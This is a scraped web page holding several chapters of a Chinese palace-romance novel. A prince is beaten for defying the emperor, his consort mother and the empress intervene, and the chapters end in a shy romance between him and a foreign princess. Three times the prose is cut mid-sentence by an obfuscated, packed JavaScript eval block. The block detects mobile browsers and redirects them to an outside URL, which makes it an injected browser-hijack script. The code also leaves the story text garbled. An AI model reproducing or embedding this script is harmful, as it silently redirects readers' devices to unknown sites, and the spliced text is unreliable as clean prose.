淑妃娘娘只短暂沉思了一会儿,便摘下身上玉佩塞进那太监的手里,语速极快地吩咐:“快,你速去皇后娘娘那处,请一道懿旨过来,别说其他的,她见了这玉佩自会知晓,快去,片刻都耽搁不得!” 那太监被强塞了玉佩,脚步一个踉跄,也来不及站稳,忙不迭应了声“喏”,脚下生风般就冲出门去。 “真是乱了套了,这浑小子是干了什么事啊!”淑妃娘娘烦闷地揉着额头。 她这副无措的样子杜欢颜倒是第一次见,如果连娘娘都手足无措的话……自己和阿愿是不是要完蛋了,杜欢颜突然冒出这样一个可怜又可笑的想法。 “娘娘,他们验身,是想要一个什么样的结果?”杜欢颜试探着询问,她想了,实在不行就给他们想要的结果,保住性命要紧啊! 果不其然,此话一出便被淑妃瞪了一眼:“哪能真让他们验,那群人可没这个资格!” “可若是皇后娘娘不帮我们,这也不失为一个办法啊!” “哪有拿自己当解决问题的办法的,实在不行了,我叫人将他们打出去,左右不过是领些惩罚,那皇帝老儿还不至于丧心病狂到连我的性命也敢要了去!” 话落,有人猛地推开殿门,一群宫人们鱼贯而入。为首的嬷嬷满脸褶皱,眼神凌厉。她朝淑妃走近几步,微微欠身算是请安,直起身子冷冷开口道:“淑妃娘娘,容国公主可在此?老奴是奉了皇上的命,来为公主验身,还望娘娘把公主交予我们。” “不行。”淑妃此时一改刚才的烦躁,嘴角带上笑意,不等杜欢颜开口就直截了当地拒绝了他们,“杜欢颜乃容国公主,容虞两国建交的亲善大使,你们这般作为不顾及容国公主清白之身,若此事让容国知晓,嬷嬷你可担得起责任?” 那嬷嬷缓和了些语气,仍是带着冷硬,道:“娘娘此话言重了,老奴也不过是奉命行事,您要怪便怪三皇子在殿上口不择言,拉公主下了这趟浑水。只是您若是一直耽搁,那边三皇子欺君的罪名落下来,可怨不得别人了!” “阿愿!”杜欢颜慌忙要向前,被淑妃抬袖挡住。 “淑妃娘娘,您若执意不将公主交出来,恐怕自己也会被波及!”那嬷嬷明显没了耐心,奈何淑妃死死挡在前,她亦不能轻举妄动,只得再软了声音,满脸堆笑道:“您只要让我们验过公主,此事便都与您和公主无关了,左右不过是三皇子在殿前胡言乱语,殃及不到他人,您让我们赶紧交了差,您也就不用趟这趟浑水了。” “交差?好啊,那嬷嬷便直接去和陛下汇报吧,说你验过了,确如三皇子所说。” “娘娘真是爱说笑,这可是欺君之罪,老奴怎么敢随意糊弄过去,娘娘您还是尽快让开吧!”那嬷嬷说着就要上前推搡淑妃。 “嬷嬷年纪大了,耳朵也不好了,本宫方才说了,不行,你今日便是说破天也还是不行。既然不愿意站着走出去,那本宫还有别的办法,来人啊,把他们扔出去!” 顷刻间几个侍卫冲进屋,一手架起一个宫人就要扔出去,那嬷嬷被两个人架着,嘴里仍不闲着:“陆淑妃!您是娘娘,要怎么对老奴,老奴自然不敢说什么,可老奴今日是给皇上办事,您这般是要公然和皇上作对不成!” “你真是提醒到本宫了,若是这么直接把你们扔出去,到时候传出来本宫欺凌宫人,那可确实不太好看。可是嬷嬷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14992294|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呀,你吵得本宫脑袋疼,只好难为你先架着待一会儿了。” 话罢淑妃不再理会她,仍由侍卫将他们驾到外屋晾着,那嬷嬷起初还好言相求,到破口大骂,直到外面再次传来一阵急切的脚步声,淑妃才从里屋走出来,“可让我久等了。” 还是方才那小太监,此刻正抱着懿旨,站在众宫人面前。 “传皇后懿旨,众宫人均听淑妃差遣,若有不从者,即刻斩杀!” 众人都被这道懿旨惊到了,就连福身谢旨的淑妃都愣了一瞬,这道懿旨的胡闹程度不亚于她刚刚把人架起来要扔出去,即刻斩杀?也太儿戏了吧! 但是皇后娘娘也是出了名的言行一致,既是这样说了,又下了旨,定然违抗不得。淑妃吩咐他们将人放下来,毫无惬意的勾唇道:“让嬷嬷们白走一趟,本宫真是抱歉,怎么偏偏这时就来了懿旨呢,只能是你们运气不好了,可怪不得本宫了,嬷嬷,请吧。” 那嬷嬷愤愤地瞪了一眼,最终也只得带着其他宫人们离开。 正当她们二人认为事情解决了,都松了一口气时,殿内又冲进来个人。 那也是个小太监,跑得更急,刹不住脚步,愣是直直地摔在宫殿地上。 “不好了娘娘!大事不好了!” 今天不好的事情未免也发生太多了,两人相顾无言,惟余沉默。 “说吧,这回又怎么了?” “三皇子被陛下降了杖刑!” “什么!多少杖?” “回娘娘,陛下说,他要么求饶,要么就一直打,打到死……” “已经过去多久了?” “已经……过去一刻钟了。” “一刻钟?那你怎么才来说!”杜欢颜直接从里屋冲了过去拽住他的领子质问,她此刻脑子乱乱的,什么验身,杖刑,阿愿,怎么短短一会儿发生了这许多事! “小殿下,方才那里四面都有人看守,小的跑不出来呀,这还是等了好久才逃出来的!原本陛下是打算让三皇子服个软就得了,谁成想他愣是一声不吭,那施刑的宫人都换了几批了!” “不……不行,这样下去阿愿会没命的,我得过去,我要去找他!” “欢颜你等等!”淑妃一把拽住她,转头就看见了她满脸的泪水,“你去有什么用?当场被赐了婚,他听了不更是直接晕死过去吗!” “那就赐婚!难道让我眼睁睁看着如愿被打死吗!”她怒吼出声,眼泪大滴大滴滚落,“娘娘,他是不会求饶的,他真的会死的,他为了我宁受杖刑,您要我如何心安理得的躲在他身后?!” “罢了罢了,这事还得我去。”一个两个的都不让人省心。淑妃轻轻擦干杜欢颜的眼泪,揉了揉她的头:“你在这等着,我一定把如愿带回来。” “您要去哪!”她急忙扯住淑妃的袖子,如同握住救命稻草。 “我得亲自去趟皇后那里。” 23.初吻? “我和您一起去!”杜欢颜急急地跟着过去,连外衣也顾不上穿。 “你跟过去做什么,皇后娘娘同你又没有什么交情。”淑妃随手拿了件外衣给她披上,有些哭笑不得。 “此事因我而起,阿愿因我受刑,娘娘您方才也是为了我才得罪了那群宫人,您已经为我做了这么多,剩下的求皇后救人的事,也该由我来做才对。” “罢了,你下定了决心,我又怎么拦得住,跟我走吧。” 两人来到景阳宫,早有婢女等候在此,领着她们进了殿内。皇后端坐在凤椅上,见她们进来,嘴角勾起一抹笑容,“淑妃姐姐怎么来了,莫不是本宫的懿旨不够用,还要再请一道?” 淑妃面色淡然,欠身施下福礼,道:“娘娘这句‘姐姐’臣妾不敢当,今日前来,是为求娘娘帮忙,望娘娘能救下三皇子。” “三皇子的事么,本宫听说了,只是陛下龙颜震怒,本宫如何劝说的了,姐姐你也是宫里的老人了,定是知道陛下是什么脾气,他铁了心要罚谁,旁人如何能左右圣心呢?” 这就是不想帮了,淑妃眸色暗了暗,还想再开口求她,不料身旁的杜欢颜却是直直地跪了下来,“皇后娘娘,我知道这会让您很为难,可我们没有别的办法了,我不求您别的,只求您帮忙禀告皇上,我愿意同二皇子成亲,求他放过阿愿吧!” “呀,好俏丽的小姑娘,你就是那容国公主了?”皇后慢慢走下来,在杜欢颜的面前站定,“怪不得三皇子宁愿顶撞陛下也要留住你呢,本宫瞧着你呀,确实和二皇子不太配,陛下这鸳鸯谱点得可不行。”她轻轻一笑,走回凤椅处坐下。 “你且起来吧,连淑妃姐姐都来求我了,我又如何不答应帮这个忙呢?只是皇上确实如我之前所说,发起脾气来几个人都劝不动的,方才那道懿旨就算是和他作对了,如今再去求他,恐怕他是听不进去的。”注意到杜欢颜刚缓和一些的脸色又惨白起来,皇后捂着嘴笑了笑,又道: “说了会帮你的,只是时机未到,你且和淑妃姐姐在我这宫里等一等,到时我自会去救他的,别哭丧着脸了。” 皇后吩咐宫人给她们二人赐了座,又上了茶,之后就是一阵无言的沉默。 杜欢颜如坐针毡,茶也喝不下去一点,她在这里多待一刻,阿愿就会多痛苦一刻,可是……她攥紧了手,怨恨自己此刻的无能为力,皇后娘娘已经开口要帮阿愿了,自己断不能再要求她快些去救人,可是时机未到,那要等到什么时候呢? 眼见着她把自己的嘴唇生生咬破,心中的紧张忧虑却没有缓解半分,手中的茶已经冷了,皇后却仍未开口再说其他。 “娘娘,时候也该到了吧,再这样等下去如愿怕是要撑不住了。”淑妃此时突然开了口,也将杜欢颜的心一同提了起来。 “淑妃姐姐等急了吗?那便现在去吧,那边的小公主,要不要一起去?” 杜欢颜几乎是从椅子上飞了下来,她片刻也等不得了,只想尽早见到阿愿,“我和您一起去,娘娘!”她追上皇后,突然停下来回头望:“淑妃娘娘,您……” “你去吧,皇上在气头上,见了我怕是会更生气,我等着你们回来,去吧,小欢颜。” 杜欢颜这才放下心赶去大殿。一路上心急如焚,偏偏又不能真的自己先跑过去,好在大殿离着不远,她几步快走过去,先是看见了满地的血,再就是奄奄一息的阿愿。 “阿愿!”她再顾不得别的,冲上去一脚踢开了施刑的宫人,挡在了他面前。 那宫人“诶呦诶呦”地从地上爬起来,正要发怒,一抬眼就瞥见了皇后的仪仗,扭了个身子急忙跪地行礼。 “都退下吧,让他们把三皇子放下来。” 那群宫人无一人敢不听令,将三皇子从长凳上放下来就纷纷退下了。 此时皇帝也从殿内走出来,冷峻的眉眼透着怒气,正要呵斥谁这么大胆,见了眼前人也是一愣, “皇后怎么来了?” “今日听闻皇上要给二皇子赐婚,怎么不同我商量呢?”她没有正面回答他的问题,倒先反问起他来。 “不过是娶侧妃,还不至于兴师动众请皇后来。” “我呢,在自己宫里就听说了,三皇子为了那小公主都敢和陛下你叫板了,觉得有趣极了,想着赶来看看,这一瞧可把我吓坏了,你怎么把人打成了个血人?”她语气轻快,全然是一副凑热闹的模样。 “公然顶撞自己父皇,还对兄弟大打出手,朕罚他,理所当然!”皇帝冷哼了声,显然对皇后这副态度有所不满,“为了个容国公主,都敢欺骗自己父皇了,偏偏你也来打岔,把朕派去的宫人们都赶了回来。” 皇后仍是笑着,语气轻快:“我瞧着你这鸳鸯谱点得不好,我看那小公主同三皇子倒是般配,他们二人亦是钟情对方,便是将她赐给三皇子,又有何不可呢?何必非要拆散了去。” “朕是皇帝,朕要给谁赐婚,皇后你也要干涉吗!”他脸上怒气更甚,皇后不再说其他,只是动了动唇,做了个口型,那皇帝的怒火便如同被水淹没,“罢了,此事便依皇后了,都走吧!” “多谢陛下。” 那边的杜欢颜还死死抱着纪如愿,听到皇帝的话,震惊之余终于是松了口气,“阿愿,我带你回去。” 只是纪如愿明显撑不住了,他受了太久刑罚,身上没一块好肉,鲜血混着衣料和皮肉,把杜欢颜也染红了大片,听见杜欢颜唤他,只强撑着回了句“阿颜”就晕倒了。 再次醒来,是在淑妃寝宫。熟悉的檀香袭来,他努力睁开了眼,下意识想要挪动身躯,却似有千斤桎梏,稍一用力便疼痛难忍,每一寸肌肤都如同被刑具反复碾磨过,剧痛使他情不自禁发出了声音,紧接着就有人凑过来。 “阿愿,你醒了吗!”是阿颜啊,他睁开眼睛,却不见阿颜。后背伤痕太重,他现在是趴在床上的姿势,想抬头都成了难事。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14996607|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>好在阿颜看出他的难处,蹲下身子和他平视,“我在这呢,阿愿,你伤得太重,先不要乱动好不好。” 纪如愿却是又闭上了眼睛,杜欢颜以为他是哪里痛,心里急坏了,“阿愿,你是不是还很痛,对不起,都是因为我……” “不是。”纪如愿终于开口,却仍旧闭着眼不看她,“我现在的样子太狼狈了……我不想让你看见这个样子。” “傻瓜。”杜欢颜被气笑了,“一点都不狼狈,阿愿是我的大英雄,我喜欢还来不及呢!你睁开眼让我看看你好不好,你难道不想看我吗?” 他终于愿意睁开眼睛,面前就是杜欢颜放大的笑脸,他又不好意思说话了。 “阿愿,你渴不渴,要不要喝点水?”这话提醒他了,半日多滴水未进,他还真是渴了,便轻轻点了点头。 只是杜欢颜拿来碗,又犯起了难,阿愿没法起身,这怎么喝啊?她把碗凑过去,“阿愿,你试试看能不能喝。” 只是这个趴着的姿势难度实在过大,撒了一半不说,喝下去的一半还把人呛个不行,这可如何是好! 杜欢颜望着纪如愿被水呛到涨红的脸和恢复血色的唇,心里升起一个怪异的想法。 “阿愿,失礼了。” 等纪如愿反应过来时,面前就是杜欢颜放大数倍的脸。 她跪在地上,偏过头轻轻贴上他的唇,缓缓的渡水过去。柔软的唇轻碰上去,她小心翼翼地动作,带着温热的水液慢慢润泽了他的唇。 纪如愿被她的动作惊得一怔,却也并没有躲开,任由她施为。她的睫毛轻颤着,扫在他的脸上,有些痒痒的,又是那么的轻柔,在他心上泛起一层涟漪,周身的疼痛似乎也被这暖流冲淡许多。 “好了。”杜欢颜轻轻移开唇,低着头不去看他,“你还渴吗?”这问的什么问题,杜欢颜想打自己一拳。 “还是渴。”怎么把心里话说出来了! “那我再喂你些。”两人的脸都红透了,杜欢颜拿着碗含着水,再次凑上他的唇。 “殿下,淑妃娘娘让我来看看三皇子……”情况怎么样了。进门便看见自家殿下正和三皇子贴在一起,有点想当场遁入地底,阿若如是想到。 “啊!”杜欢颜猛地一起身,忘了自己还含着水,这一下把自己呛个不行,碗也直接扔了出去。 阿若这是走也不是,不走也不是,上前给自家殿下轻轻拍拍,自以为是安慰道:“没事的殿下,我什么都没看见,你轻点咳。” 不是,我咳嗽不是为了掩饰尴尬,杜欢颜有些崩溃的想着。 “阿若,不是你想的那样,我们只是在喂水!” “可是有勺子呀!”这个破嘴,怎么说出来了,阿若也有些崩溃了。三人就这么尴尬着,直到淑妃也走了进来。 “老远就听见这屋里面一阵乒呤乓啷的,这是怎么了?”她大步走进来,全然没注意脸色酡红的三人,“怎么还把碗摔了?” 24.这才叫初吻! 她才注意到几个人脸色不正常的红晕,杜欢颜坐在地上捂着脸,纪如愿直接把脸埋进了枕头里,只留下个红彤彤的耳朵。 淑妃只思考了一瞬,便有了自己的想法,闷声一笑道:“行啦,刚经历了这么大事,差点就被拆散了,如今见了面心里激动也正常,只是下次记得关门。”她转而又敛了神色,语气严肃道:“阿若,下次记得在外面问一声再进。” “奴婢明白。” “行了,看来如愿情况挺不错的,我就不耽误你们两个了,阿若你也随我出来吧。”说着就带着阿若走出屋外,还贴心地带上了门。 淑妃娘娘她完全,理解,错了啊!杜欢颜欲哭无泪,还把门关了,这更不正常了! 她望了望身旁,正好和抬头的纪如愿对上神色,两人又同时慌忙移开眼,最终还是杜欢颜打破了沉默。 “阿愿,你听我说,我刚才真的不知道有勺子,我,我怕你渴,一时心急,急中生智才……”感觉越解释越乱,杜欢颜无力望天。 良久后,杜欢颜听到他“嗯”了一声,刚准备放下心,又听见他道: “其实我知道那里有勺子。” “你知道?那你怎么不告诉我?还让我……”用嘴喂你。 他没有回答她的问题,自顾自说着:“在大殿上时,父皇同我说,要让我出使甘州历练,又说要将你赐给二哥做侧妃,我那时好害怕,我怕我离开了,你会不会被他们暗中谋害。赐婚只是个幌子,容国新帝登基,不过是想将你当作筹码,换取两国和睦。二哥他……他很不尊重你,我气不过,才打了他,父皇便要将我押下去领罚。他向来只会拉偏架,我不得他宠爱,他便任由他人欺负我。 可是阿颜,你该怎么办呢,你被赐婚,被困在这深宫中,你的哥哥姐姐们又该怎么办呢。所以啊,我就想拼一把,我告诉父皇,我们有了夫妻之实,为了颜面他也断不会再赐婚给你和二哥了。可他不信我,他命人将我拖下去,要一直打到我求饶为止。你知道吗,我几次都要晕过去了,可我害怕,我害怕一旦放任自己晕过去,或是承受不住求饶出声,就会让你彻底落入他们的阴谋之中。我其实怕死了,我怕我死了,就没人救你了。所以当时你挡在我面前,我其实可高兴了,哪怕死前能见到你,我也愿意了。阿颜,我好想你。” 说到最后,他已是染了哭腔。杜欢颜愣愣地听完,走上前轻轻握住他的手, “说了这么多,生呀死呀的我不爱听,把我想得这般孤立无援。说你傻真是说对了,既然怕自己死了,没人救我,你怎么都不服软的,保住自己性命再寻救我的法子,也好过我们两个一同做那亡命鸳鸯。” “我觉得,我多撑一会儿,兴许父皇就会心软了,愿意成全我们了呢!”纪如愿反扣住她的手,二人十指相扣着:“你就会说我傻,你怎么都不说想我?” “你还来劲了是吧,刚才那个勺子的事你还没说明白呢,别想着插科打诨过去!” 纪如愿望着她,轻轻微笑,眸中宛若星辰,“是我不好,故意不告诉阿颜,想要阿颜多亲亲我,我认错,阿颜大人有大量,饶过小的吧!” 杜欢颜的脸再次烧红,故意撇开他的手:“不要,你这错认得都不诚心,我才不跟坏心眼的好。” “可我还想再亲近阿颜,这可怎么办呀?”他故意耷拉起脸,眼睛也立马黯淡无光,还发出些抽泣声:“我可没有坏心眼,我说得可是实话。”偏生他还硬撑着身子去够她的手,模样好不可怜。 杜欢颜瞧他这样子也是软了心,轻轻凑近,在他期待的神色中,轻轻敲了一下他的额头, “等你伤好了再说。” 修养了近半个月,这期间倒是多了许多好消息。 一是皇帝下旨,依旧要纪如愿出使甘州,这便是原谅他先前所为,仍要历练培养他了,想来皇帝也不愿放弃这个文武兼具的儿子。 二是皇帝终于放弃了将他二人拆散,只是还下了个死命令,纪如愿想娶她可以,只能做妾,别的一概没商量。纪如愿一开始还觉得欣喜,听了这个要求一下子又丧气起来,要不是杜欢颜拦着,他估计还得再闯一次宫殿,然后再挨一顿打。 “你真是傻,再惹你父皇生气,看谁还能来救你!”杜欢颜气不打一出来,又不能伤他,只能从言语上击退他。 “可是阿颜,这样太委屈你了,我不愿如此。” 杜欢颜有些好笑,“你要保住我,不让我嫁与他人,现在又怕委屈了我不愿我做妾,就不怕又把我赐婚给别人?” 纪如愿紧张着要说些什么,被杜欢颜打断,她接着道:“不过是暂时的,我也不在乎这些,况且呀,本来就说好了要你赘到容国去,所以在这做妾不算数,这样想可好?” “可是……” “别可是了,”她再次打断他,“你要出使甘州,总不能将我独自留在这虞国皇宫中吧?可你若不娶我,又如何带我同去?” “你要同我一起去甘州?”纪如愿终于抢到她说话的间隙,语速极快地询问。 “原来你没想要带我一起去啊?”杜欢颜震惊无比。 “不是不管你的意思,只是阿颜,留在宫中,还有淑妃娘娘照拂着你,甘州是苦寒之地,你是公主,跟着我怕是要吃好多苦。” 我是公主,你不还是皇子吗,杜欢颜在心里翻了个白眼,阴阳怪气道:“纪如愿,你瞧不起我呀,你可别忘了,我还是你师父呢,骑射剑术皆在你之上,吃点苦算得了什么,况且……”她收起笑颜,神情严肃道:“我已经给淑妃娘娘添了很多麻烦了,不该一直躲在她身后,我们也应该去闯荡一番,不是吗?” 他突然收起忧虑的神情,望着她扬唇一笑,眉目清朗,仿若雨过天晴,“好,阿颜,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15005841|160559||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要有你陪着我,再苦都算不得什么。” 杜欢颜一转眼睛,悟出些事来,一下瞪圆了嘴巴,“好啊纪如愿,你刚才其实是在诓我吧,就想让我亲口说出来要陪着你,早知道我就该顺着你说留在这宫里,看你到时候找谁后悔去!” 他轻摇下头,仍是笑着,道:“不会后悔的,阿颜愿意留在这里受人庇护,我也会高兴,阿颜不用受罪了;你说要和我同去,我只会更高兴,阿颜舍不得我,阿颜心里有我。” 杜欢颜被他这一通说辞搞得面红耳赤,这个人怎么就能扯到心里有没有他这事上来呢,厚脸皮! “我可不光是为了你,甘州与虞国接壤,此番前去,我也是想再打探些姐姐们的消息,那捷报上说得含含糊糊的,我一直都没信。” “嗯,我知道,所以我也会帮阿颜的。”他仍是温和地望着她。 留在杜欢颜以为这话题揭过去了时,纪如愿忽地俯下身子,他比杜欢颜高许多,这会儿几乎弯了大半个身子,才能和她平视。 “阿颜,我的伤已经好多了。”声音轻轻柔柔的,一不留神就散在了风里,偏偏杜欢颜听得一清二楚,她却故意假装听不懂他的话,反问道:“是啊,你伤好了,那又如何?” 你才是坏心眼的。纪如愿无奈地想。他只得再摆出同那日一般无二的可怜姿态,握过她的手,声似哀求:“阿颜,我好想你。” 这一声乞求,便是让杜欢颜再说不出任何拒绝的话来,只是这样面对面的还是太过羞耻,她想了想,决定让两人错开些,又不想让喉中泻出颤声让眼前人看出自己的羞涩,沉了嗓音,谁成想一开口用力过猛,“阿愿,蹲下。”简洁,明了,严肃,像训狗。她又想一头扎进随便哪里了。 谁料纪如愿只微微一怔,便又舒展了眉眼,扬起个温柔的笑,听话的蹲下。 这可如何是好,难道自己也要蹲下,那不是更奇怪了吗?可是说都说了,人家也照做了,再打退堂鼓就显得自己太怂了。 否决了两人一起蹲着的想法,再思量一番,她便只俯下了身,捧住面前少年人的脸,随后一个轻柔的吻落在额头上,带着少女独有的清香,缓缓向下移动,又是一个吻落在鼻尖。 她微微退开些,想着差不多行了吧,面前人却仍是直直地望着她,面色带春,眼眸带笑。她心一横,干脆闭上眼睛,任由着感觉带着自己向前去。 一片柔软打在心头,少年人轻轻抬起头,回应着心上人的温柔。 到底还是太害羞了,杜欢颜只微微在他唇上停了一瞬便慌忙起身,嘴里胡乱念叨着“好了好了我要去看看院外大鹅今日有没有下鸡蛋诶呀好忙啊好忙啊一会儿见”就一溜烟的跑走了。纪如愿也是一阵无奈,分明刚才还一板一眼地给他分析为何要娶自己,如今却又害羞成这样。 心思忽地飘到远处,甘州啊,也许会开心呢。